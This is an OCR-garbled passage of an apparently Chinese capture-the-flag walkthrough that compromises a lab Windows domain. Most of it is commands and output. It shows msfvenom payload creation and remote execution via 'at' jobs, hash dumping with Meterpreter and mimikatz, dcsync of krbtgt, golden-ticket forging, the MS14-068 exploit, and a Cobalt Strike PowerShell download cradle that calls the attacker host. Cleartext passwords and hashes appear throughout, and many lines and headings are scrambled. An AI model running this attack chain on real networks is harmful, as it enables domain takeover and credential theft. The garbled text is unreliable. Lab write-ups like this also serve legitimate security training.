VOOOOOOKOOO CAB6-06F3
\\dc\C$ ©oL%

2009/07/14 11:20 <DIR> PerflLogs
2020/06/19 17:57 <DIR> Program Files
2020/06/19 17:57 <DIR> Program Files (x86)
2020/06/20 00:25 <DIR> Users
2020/06/20 00:25 <DIR> Windows

0 9009 0 99

5 ©OL% 32,422,764,544 QOOOOO

C:\phpstudy_pro\Www\ww .webhack123.com>}j

5.1.14. 3REL dc BPZTHR

5.1.14.1. £RIEEHRE

msfvenom -p windows/meterpreter/bind_tcp lport=13777 -f exe > pwd’/bind.exe

5.1.14.2. copy E#IZEiE

c\phpstudy_pro\WWW\www.webhack123.com>copy bind.exe \\dc\C$\
copy bind.exe \\dc\C$\
1 file(s) copied.
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5.1.14.3. at IITIESHIEIT exe

c\phpstudy_pro\WWW\www.webhack123.com>at
at
There are no entries in the list.

c\phpstudy_pro\WWW\www.webhack123.com>at \\dc
at\\dc
There are no entries in the list.

c\phpstudy_pro\WWW\www.webhack123.com>net time \\dc
net time \\dc
Current time at \\dc is 2020/6/21 23:53:07

The command completed successfully.

c:\phpstudy_pro\WWW\www.webhack123.com>at \\dc 23:55:00 c:/bind.exe
at \\dc 23:55:00 c:/bind.exe
Added a new job with job ID = 1

5.1.14.4. FKEUSHENR S

=R ISR

copy bind.exe \\dc\C$\
i) dc A

net time \\dc
BT S AT

at \\dc 23:55:00 c:/bind.exe

EERIIE

use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set rhost 10.10.10.149

rhost => 10.10.10.149

msf5 exploit(multi/handler) > set Iport 13777

lport => 13777

msf5 exploit(multi/handler) > exploit
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msf5 exploit( ) > set payload windows/meterpreter/bind_tcp
payload = windows/meterpreter/bind_tcp

msf5 exploit( ) > set rhost 10.10.10.149

rhost = 10.10.10.149

msf5 exploit( ) > set lport 13777

lport = 13777

msf5 exploit( ) > exploit

Started bind TCP handler against 10.10.10.149:13777
Sending stage (180291 bytes) to 10.10.10.149
Meterpreter session 2 opened (192.168.0.127-192.168.0.150:0 — 10.10.10.149:13777) at 2020-06-21 07:59:22 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > ifconfig

Interface

: Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:Ffff:Ffff:ffff

Interface 11

: Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:a2:dd:48
MTU : 1500
IPv4 Address : 10.10.10.149
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::59e8:c03b:54ff:d34c
IPv6 Netmask : ffff:ffff:ffff:ffff:

Interface 12

: Microsoft ISATAP Adapter

5.1.15. 3REL dc B A B

TR

migrate 388

meterpreter > run hashdump

['] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
['] Example: run post/windows/gather/smart_hashdump OPTION=value [...]

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 36ce7093f2a02644f802d363ec425289...
/usr/share/metasploit-framework/lib/rex/script/base.rb:134: warning: constant
OpenSSL:Cipher::Cipher is deprecated

[*] Obtaining the user list and keys...

[*] Decrypting user keys...
/usr/share/metasploit-framework/lib/rex/script/base.rb:268: warning: constant
OpenSSL:Cipher:Cipher is deprecated
/usr/share/metasploit-framework/lib/rex/script/base.rb:272: warning: constant
OpenSSL:Cipher:Cipher is deprecated
/usr/share/metasploit-framework/lib/rex/script/base.rb:279: warning: constant
OpenSSL:Cipher::Cipher is deprecated

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...
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Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f
1c3b33::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0::

load mimikatz
tspkg

[7] { DNS ; dc.hackbox.com ; 86a30120b2928912019d24e12e1445576cd34bb87d7147c3be7efd7c2b809f7e79343F8381b6f8bs0esb6a5515f0eab2af1631d1ce922ae1da2’
4d2d13f87b }
[8] { Administrator ; HACKBOX.COM ; !Q#Qwel23 }
meterpreter > tspkg
[+] Running as SYSTEM
Retrieving tspkg credentials
tspkg credentials

Domain User Password
Negotiate HACKBOX
Negotiate NT AUTHORITY LOCAL SERVICE
NTLM
Negotiate HACKBOX DC$
0;148487 Kerberos HACKBOX Administrator !@#Qwel23

meterpreter > i

5.1.16. IEF=E4LH hash

run post/windows/gather/smart_hashdump

meterpreter > run post/windows/gather/smart_hashdump

Running module against DC
Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
/root/.msf4/100t/20200621081423_default_10.10.10.149_windows.hashes_086045. txt
This host is a Domain Controller!

Dumping password hashes ...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60acebaccbcb76078ccc0312174e98
web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bbled4ec72250760ea531bf8074
DC$:1000:aad3b435b51404eeaad3bs35b51404ee:35038905F0fcf79eca3d8fff28f94f87
WEB$:1104:aad3b435b51404eeaad3b435b51404ee: fdOc8f5bc45e86c9ca5c8a289a727149

meterpreter > Jj

[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09¢936f1c3b33
[+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60acebaccbcb76078ccc0312174e98

[+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074
[+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:35038905f0fcf79eca3d8fff28f94f87

[+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:fd0c8f5bc45e86c9ca5c8a289

5.1.17. HI{ER&EEE

FIE RIS, 3 S LU AR B



s H B EE I BERE

5.1.18. 3REX ntml sid rid

wmic useraccount where name="krbtgt” get sid

5.1.19. ZFH BHEBREHBUR

RGRPR S PAN desyne BT LATT) sl e A PR
steal token 2812
desyne ntlm krbtgt

2404 2484 userinit.exe HACKBOX\Administrator :\Windows\System32\userinit.exe

2484 2464 winlogon.exe NT AUTHORITY\SYSTEM :\Windows\System32\winlogon.exe

2584 832 taskeng.exe NT AUTHORITY\SYSTEM :\Windows\System32\taskeng.exe

2668 448  taskhost.exe HACKBOX\Administrator :\Windows\System32\taskhost.exe

2704 448  ServerManagerlLauncher.exe HACKBOX\Administrator :\Windows\System32\ServerManagerLauncher.exe
2812 2404 explorer.exe HACKBOX\Administrator :\Windows\explorer.exe

3000 448 spoolsv.exe NT AUTHORITY\SYSTEM :\Windows\System32\spoolsv.exe

3056 2464 csrss.exe NT AUTHORITY\SYSTEM :\Windows\System32\csrss.exe

meterpreter > steal_token 2812

Stolen token with username: HACKBOX\Administrator
meterpreter >

[+] Account : krbtgt

[+] NTLM Hash : 6f6@ace6accbcb76078ccc@312174e98

[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b

[+] sID : 5-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502

meterpreter > |

5.1.20. R EERE

golden_ticket_create -d <3k > -u <fEEH /" % > -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket /&
HhAFfif % 42 2/ tmp/krbtgt.ticket >

golden_ticket_create -d hackbox.com -u moonsec -s S-1-5-21-2005268815-658469957-1189185684 -k
6f60acebaccbcb76078ccc0312174e98 -t /tmp/krbtgt.ticket

5.1.21. EAEESER

Y2 web 45 ds fEALHR ARG H b
kerberos_ticket_use /tmp/test.ticket
dir \\dc\c$
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sf5 exploit( ) > sessions -i 1
Starting interaction with 1...

eterpreter > shell
Process 4076 created.

OO OO (c) 2009 Microsoft Corporation® 999049 OHEL

:\Windows\system32>dir \\dc\c$
r \\dc\c$
QU000

:\Windows\system32>"C
erminate channel 3567 [y/N] y
eterpreter > kerberos_ticket_use /tmp/test.ticket
Using Kerberos ticket stored in /tmp/test.ticket, 1788 bytes ...
+] Kerberos ticket applied successfully.
eterpreter > shell
Process 3468 created.

icrosoft Windows [€¥ 6.1.7601]
OOEOOOO (c) 2009 Microsoft Corporation® 99990V VVOEOOOO

:\Windows\system32>dir \\dc\c$

r \\dc\c$

QOO9O \\dc\c$ ©el0i0690kOO
V900090099 CABG-06F3

\\dc\c$ ©oL%

73,802 bind.exe
PerflLogs
Program Files
Program Files (x86)
Users
Windows

:\Windows\system32>]

5.2. cobaltstrike #H{TRM1E;8iE

5.2.1. 85I teamserver

Jteamserver 192.168.0.127 4477
B I I AR

O QO EH=¢ BEfLU e Pa B

external internal ~ listener user computer note process

Eventlog X | Listeners x‘

name ~ payload host port bindto beacons
list1 windows/beacon_http/reverse_http 192.168.0.127 80 192.168.0.127

5.2.2.7F web R %5#8 L#AT T E poershell HEAE

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(‘http://192.168.0.127:80/a"))"
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[ oot svike T T T W T T — B
Covalt Strike View Attacks Reporting Help

O O ES¢ 8EfU wdD Pa i

exernal intermal ~ stener use computer note process pa arcn st
S~ 1021680150 1921680150 st SYSTEM - = powershel exe 3064 156 275
EventLog x | Listeners X | Stes X
name ~ payioad nost port bindio beacans pratie
st windowsibeacon_hitpeverse_itp 1921680127 50 1921680127 defaut

5.2.3. %% B[R] BRI ]

#E N beacon
W B ARG ] sleep 0 ANSR 2520 J 11 (1) 34

5.2.4.3KEX hash JREUFEAEEEN

[¥] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon”> hashdump
Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:086a0bbled4dec72250760ea531bf807
Guest:501:2ad3b435b51404eeaad3b435b51404ee:31d6cfe0d162e931b73c59d7e0c089c0

beacon> net view
[¥] Tasked beacon to run net view

[+] host called home, sent: 87608 bytes

[+] received output:

List of hosts:

Server Name IP Address Platform Version
69.172.201.153
10.10.10.150
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5.2.5. FFHIRA FEHL

address netmask

10.10.10.0 255.255.255.0
192.168.0.0 255.255.255.0

Ports: 1-1024,3389,5000-6000

Max Sockets: [1024

Discovery: |éarp

| scan || Heip |
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received output:
10. 10. 10. 149:139
10. 10.10. 149:135

[+] received output:
10.10.10.149:88
10.10.10.149:53

[+] received output:

10.10.10.1:6000

[+] received output:
10.10.10.1:912
10.10.10.1:902

[+] received output:

10.10.10.1:443

[+] received output:
10.10.10.1:139
10.10.10.1:135

[+] received output:

10.10.10.1:445

10.10.10.149:445 (platform: 500 version: 6.1 name: DC domain: HACKBOX)
10. 10. 10.150:445 (platform: 500 version: 6.1 name: WEB domain: HACKBOX)

Scanner module is complete

5.2.6.cs EHEAR TRZL net 54

AU TR S a4, 7 AR GE I AR B
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beacon”> net computers
[*] Tasked beacon to run net computers
[+] host called home, sent: 87613 bytes

[+] received output:

Computers:

[+] received output:

Server Name IP Address

[+] received output:
DC 69.172.201.153
VEB 10.10.10.150

beacon”> net domain

[#] Tasked beacon to run net domain

[+] host called home, sent: 13993 bytes
[+] received output:

hackbox. com

beacon”> net dclist

[#¥] Tasked beacon to run net dclist

[+] host called home, sent: 87610 bytes
[+] received output:

DCs:

Sexver Name IP Address Platform Version Type Comment

69.172.201.153

EventLog X ‘ Listeners X I Sites X‘ Beacon 192.168.0.150@3964 X | Credentials X ‘

user password realm note source host added

Administrator |@#Qued56 WEB mimikatz 192.168.0.150 06/22 10:56:33
Administrator 086a0bb1ed4ec72250760ea531bf8074 WEB hashdump 192.168.0.150 06/22 10:56:11
hackboxweb '@#Qwe456 hackbox\web mimikatz i 0.150 56:33

Guest 31d6cfe0d16ae931b73c59d7e0c089c0 WEB hashdump 192.168.0.150 06/22 10:56:11
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R Y B e W em s M W W B LV e = W

external internal ~ listener user computer note process pid a
T3 192.168.0.150

(B spawn As o[ B [

user password realm note
Administrator l@#Qwed56 WEB

EventLog X [ Listeners X ‘ Sites X | Beacon 192.168.0.1)

User. [hackboxweb |
user password ; ‘ host
1
Administrator 1@#Quedss Basswold|| @#Qwea56 192.168.0.150
Administrator 086a0bb1eddec722|| Domain:  [hackboxiweb 192.168.0.150
DECKDORMED lgaweise | Lstener: [is 165
Guest 31d6cfe0d16ae931 192.168.0.150

[ tauncn | [ Help |

5.2.8.dir Vi 8% dc

beacon”> shell \\dc\c$
[¥] Tasked beacon to run: \\dc\c$
[+] host called home, sent: 38 bytes

[+] received output:

BRAW: AHMPAPEEERED.

5.2.9.cobaltstrike ms14-068 £ )%

[#] Current directory is C:\phpstudy pro\W¥¥\www.webhack123. con
beacon> shell ms14-068.exe —u web@hackbox.com —s S-1-5-21-2005268815-658469957-1189185684-1103 —d 10.10.10.149 —p !@#Qwed56
[¥] Tasked beacon to run: ms14-068.exe —u web@hackbox.com —s $-1-5-21-2005268815-658469957-1189185684-1103 —d 10.10.10.149 -p !@FQwed56
[+] host called home, sent: 140 bytes
[+] received output
[+] Building AS-REQ for 10.10.10.149... Done!
[+] Sending AS-REQ to 10.10.10.149... Done!
[+] Receiving AS-REP from 10.10.10.149... Done!

[+] Parsing AS-REP from 10.10.10.149... Done!
[+] Building TGS-REQ for 10.10.10.149... Done!
[+] Sending TGS-REQ to 10.10.10.149... Done!

[+] Receiving TGS-REP from 10.10.10.149... Done!
[+] Parsing TGS—REP from 10.10.10.149... Done!

[+] Creating ccache file ’TGT_web@hackbox. com. ccache’... Done!

PRI o A AT SO AR )
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5.2.9.1. 7 py HATRIEER

root@kali:~/Desktop/webhack123/pykek# set +H
root@kali:~/Desktop/webhack123/pykek# proxychains python ms14-068.py -u
web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d
10.10.10.149 -p !@#Qwe456

# proxycha1ns python ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189

1a#Qwe456
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Building AS-REQ for 10.10.10.149 ... Done!
[+] Sending AS-REQ to 10.10.10.149 ... |S-chain}-<>-127.0.0.1:1080—<><>-10.10.10.149:88-<><>—0K
Done!
[+] Receiving AS-REP from 10.10.10.149 ... Done!
[+] Parsing AS-REP from 10.10.10.149 ... Done!
[+] Building TGS-REQ for 10.10.10.149 ... Done!
[+] Sending TGS-REQ to 10.10.10.149...|S—chainF—<>—127.0.0.1:1080—()()—10.10.10.1&9288—<><>—0K
Done!
[+] Receiving TGS-REP from 10.10.10.149 ... Done!
[+] Parsing TGS-REP from 10.10.10.149 ... Done!
[+] Creating ccache file 'TGT_web@hackbox.com.ccache' ...

5.2.9.2. KrbCredExport 3§ .ccache &% {4LA kirbi &=

python KrbCredExport py ../pykek/TGT_web@hackbox.com.ccache user.ticket

X.
# python KrbCredExport py /pykek/TGT web@hackbox.com.ccache user.ticket

#1

Cache File Found, Converting to kirbi

5.2.9.3. SAERIHIE dc

TG

kerberos_ticket_use C:\user.ticket

beacon> kerberos_ticket_use

[#] Tasked beacon to apply ticket in C:\user. ticket
[+] host called home, sent: 13703 bytes

ViR de
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beacon> shell dir \\dc\c$

[¥] Tasked beacon to run: dir \\dc\c$
[+] host called home, sent: 42 bytes
[+] received output:

EaEE \\dc\c$ PRBRARTE.
EMHFIISE CAB6-06F3

\\dc\c$ FIEHZR

2020/06/21 23:41 73,802 bind. exe
2009/07/14 11:20 <DIR> PerfLogs
2020/06/19 17:57 <DIR> Program Files
2020/06/19 17:57 <DIR> Program Files (x86)
2020/06/20 00:25 <DIR> Users
2020/06/20 00:25 <DIR> Vindows

1 3k 73,802 F4

5 MR 32, 413,376,512 A[HFEY

5.2.10. 3REL dc BPZEBFR

BUE R A V7R de P RIRLR, 32 R AE do s (2 il B PR

5.2.10.1. & E smb R

B Windows Executable (Stageless)

Export a stageless Beacon as a Windows
executable. Use Cobalt Strike Arsenal scripts (Help  ~

Listener: | |-
Output: | Windows EXE - |
—————1| x64: [ Use x64 payload
yP4ENEA .
| Choose a payload E@_J
name payload host l

list1 windows/beacon_http/reverse_http 192.168.0.127 1234
windows/beacon_bind_pipe

| choose || Add || Help. |

PERUETISCH 5% smb RO IE P QRG] S m i 7 200 R BRI
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'i‘, Windows Executable (Stageless

executable. Use Cobalt Strike Arsenal scripts (Help -
Windows NT 5.1; Trident/4.0

Uﬁenenf

Output: |Windows EXE
g RSA decrypt [HTTP session
X64: [7] Use x64 payload
npadV15(RSAPadding.java:378)
npad(RSAPadding. java:290)

pher.doFinal(RSACipher. java:
nhar nnainnnnFina1(P?ACipher

X

Export a stageless Beacon as a Windows

Generate || Help |

payload Ahom
192.168.0.127

1234

windows/beacon_http/reverse_http
windows/beacon_bind_pipe

adata’'
action

choose || Add | [ Help

5.2.10.2. EFI3CHF dec HIFHIBIT

beacon”> shell copy aaa.exe \\dc\c$\aaa.exe

[#] Tasked beacon to run: copy aaa.exe \\dc\c$\aaa.exe

[+] host called home, sent: 59 bytes

[+] received output:

ERH

1 A3k,

beacon”> shell net time \\dc

[#] Tasked beacon to run: net time \\dc

[+] host called home, sent: 44 bytes

[+] received output:

\\dc FI24FIRTELE 2020/6/22 14:32:48

in 2P >R o

beacon> shell at \\dc 14:36:48 c:/aaa.exe
[#¥] Tasked beacon to run: at \\dc 14:36:48 c:/aaa.exe
[+] host called home, sent: 59 bytes

[+] received output:

by —15dEdk, HAEY ™ =5

Tecr]l CVCTEW x/A79 (-a4)

shell at \\dc 15:05:00 c:/aaa.exe

5.2.10.3. £ beacon IF[E&EE L dc

link dc
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upload Upload a file

beacon”> link dc

[#] Tasked to link to \\dc\pipe\msagent 698c

[+] host called home, sent: 31 bytes

[+] established link to child beacon: 10.10.10.149

external internal ~ listener user computer note process pid arch last
A 102.168.0.150 ovoo 192.168.0.150 list1 SYSTEM * WEB services exe a72 64 o5

A 192168.0.150 192.168.0.150 list1 SYSTEM * WEB Ism.exe 488 64 125
W 102.168.0.150 102.168.0.150 list1 Administrator * WEB oexe 7824 86 &ms

<&

Administrator * # SYSTEM *
WEB @ 7824 / DC @ 1764

5.2.11. 3KEU dc BSOS

&%\ mimikatz hashdump

([user password reaim note source host added
|| Acministrator 1@#Qwe123 HACKBOX COM mimikatz 10.10.10.149 06/22 14:43:13
|| Aaministrator 20be063d0dB77cBCC7d00CO3611caD33  DC hashdump 10.10.10.149 06/22 14:44:37
web 086a0bh1ed4ec72250760€a53108074  DC hashaump 10.10.10.149 06/22 14:44:37
| Aaminstrator |@#Queiss wes mirikatz 1921680150 08/22106:33
krbigt 6f60aceBaccheb76078ccc0312174€98 DG hashdump 10.10.10.149 06/22 14:44:37
|| Agministrator 08620DD104eC72250760€a531018074  WEB hashdump 192.168.0.150 06/22 10:56:11
| nackooxwen 1@#Quedss hackboxiweb mimikatz 192.168.0.150 06122 33
[ Guest 31d6cfe0d1626931b73¢5047€0c089c0  DC hashdump 10.10.10.149 06/22 14:44:37
Guest 3106¢1001626931b73¢5007€00080C0  WEB hashdump 192.168.0.150 06/22 10:56:11
| Administrator 1@#Qwe123 HACKBOX mimikatz 10.10.10.149 06/22 14:43:13
Administrator 20be0B3d0AB77cBCCTA00CO36(1caD33  HACKBOX mimikatz 10.10.10.149 06/22 14:43:13

5.2.12. cobaltstrike #|{/EE&ZEE

5.2.12.1. EEIELHRITHSEE krbtgt (R

beacon> dcsync hackbox.com hackbox\krbtgt
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beacon> desync hackbox. com hackbox\krbtgt
[#] Tasked beacon to Tun mimikatz’s @lsadump::dcsync /domain:hackbox.com /fuser:hackbox\krbtgt command

[+] host called home, sent: 750666 bytes

[+] received output:

[DC] *hackbox.con’ will be the domain

[DC] ° dc.hackbox. con” will be the DC server
[DC] ’hackbox\krbtgt’ will be the user account
Object RDN : krbtgt

#% SAN ACCOUNT 3%

SAN Username : krbtgt

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORNAL_ACCOUNT )
Account expiration

Password last change : 2020/6/19 18:04:35

Object Security ID : S-1-5-21-2005268815-658469957-1189185684-502
Object Relative ID  : 502

Credentials:
Hash NTLN: 6f60ace6accbcb76078ccc0312174e98
ntle— 0: 6f60ace6accbcb76078ccc0312174e98
1m — 0: 36588bd35fdife85ec5fd73alca6805b

Supplemental Credentials:

# Primary:Kerberos—Newer—Keys *
Default Salt : HACKBOX.COMkrbtgt
Default Iterations : 4096
Credentials

aes256_hmac (4096) : ebe76e2660ead792f59d33ee3c076c7881de05c8d4f0ef1d497c44805c3b920c

[DC] SYSTEN */3024

5.2.12.2. £ web F${FESER

[#] Tasked beacon to become interactive
[+] host called home, se bytes
olden /user:moon /domain:hackbox.com /sid:S-1-5- 1189185684 /krbtgt:6£60acebacchchT6078ccc0312174e98 /endin:480 /remewnax:10080 /ptt
[#] Tasked beacon to run mimikatz’s kerberos::golden /user:moon /domain:hackbox.com /sid:S— 05268815-658469957-1189185684 /krbtgt:6£60ace6acchch76078ccc0312174e98 /endin:480 /rencwnax:10080 /ptt command

. sl S

hackbox. con (HACKBOX) This dialog generates a goiden ticket and injects it into
1- 05268815-658469957-1189185684 ielinent sessich
User moon ]

: #5153 512 520 518 519 _—
o Domain hackbox.com |
ServiceKey:

Lifetine 6 6 ENVCVEERER Domain SID:  [5268815-658460057-1180185684)
> Ticket :

KRBTGT Hash: lace6accbeb76078ccc0312174208) |

* PAC gemerated Buid.| [ Heip |
+ PAC signed

mimikatz kerberos::golden /user:moon /domain:hackbox.com
/sid:S-1-5-21-2005268815-658469957-1189185684
/krbtgt:6f60ace6accbcb76078ccc0312174€98 /endin:480 /renewmax:10080 /ptt

I ERTYI I de RN
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[+] established link to parent beacon: 192.168.0.150
beacon> shell dir \\de\c$

[#] Tasked beacon to run: dir \\dc\c$

[+] host called home, sent: 42 bytes

[+] received output

1848i51E.

beacon> mimikatz kerberos::golden /user:moon /domain:hackbox.con /s

:5-1-5-21-2005268815-658469957-1189185684 /krbtgt:6£60ace6acchchT6078ccc0312174e98 /endin:480 /renewnax:10080 /ptt
golden /user:moon /domain:hackbox.com /sid:S-1-5-21-2005268815-658469957-1189185684 /krbtet:660ace6acchchT6078ccc031217498 /endin:480 /renewnax:10080 /ptt

[#] Tasked beacon to run mimikatz’s kerberos.
[+] host called home, sent: 750666 bytes
[+] received output
User : moon
: hackbox. con (HACKBOX)
: 5-1-5-21-2005268815-658469957-1189185684
: 500
: #513 512 520 518 519
ServiceKey: 6£60ace6acchcb76078ccc0312174e98 — rod_hmac_nt
Lifetine : 2020/6/22 16:55:12 ; 2020/6/23 0:55:12 ; 2020/6/29 16:55:12
-> Ticket : #k Pass The Ticket **

* PAC genmerated
* PAC signed

* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for “moon @ hackbox.con” successfully submitted for current

TewR1 cveTEN %/A0R

i3 Ja U5 1) de ezl

Golden ticket for *moon @ hackbox.com’ successfully submitted for current session

beacon> shell dir \\dc\c$

[#] Tasked beacon to run: dir \\dc\c$
[+] host called home, sent: 42 bytes
[+] received output

EFNEE \\dc\c$ PHIERTTE.

FEMIFHISIE CAB6-06F3
\\dc\c$ MIEHFR

2020/06/22 14:32 284,672 aaa.exe
2020/06/22 14:13 285,696 b. exe
2020/06/21 23:41 73,802 bind. exe
2009/07/14 11:20 <DIR> PerfLogs
2020/06/19 17:57 <DIR> Program Files
2020/06/19 17:57 <DIR> Program Files (x86)
2020/06/20 00:25 <DIR> Users
2020/06/20 00:25 <DIR> Vindows

3 A3t 644,170 F5

5 EF 32,411,623, 424 TS

[VEB] SYSTEN */496 (x64)

6.FLAG 3RHX

6.1.web flag1

beacon”> shell type C:\Users\web\user. txt
[#] Tasked beacon to run: type C:\Users\web\user. txt
[+] host called home, sent: 57 bytes

[+] received output:

web {flag web123}
[WEB] SYSTENM */496 (=64)




B P
6.2.web flag2

beacon”> shell type C:\Users\Administrator\root. txt

[¥#] Tasked beacon to run: type C:\Users\Administrator\root. txt

[+] host called home, sent: 67 bytes

[+] received output:

web {flag moonsec. com_123456}
[WEB] SYSTEM */496 (x5

]

6.3.dc flag3

web {flag_moonsec. com_123456}

beacon”> shell type \\dc\C$\Users\Administrator\root. txt

[#] Tasked beacon to run: type \\dc\C$\Users\Administrator\root.txt
[+] host called home, sent: 72 bytes

[+] received output:

dc {flag _moonsec. com_dc}

[WEB] SYSTEN */496 (=641)

IS R R A I R 26 A 22 358 bypass av it B K 8 5 2 % R 8 ) FA 45
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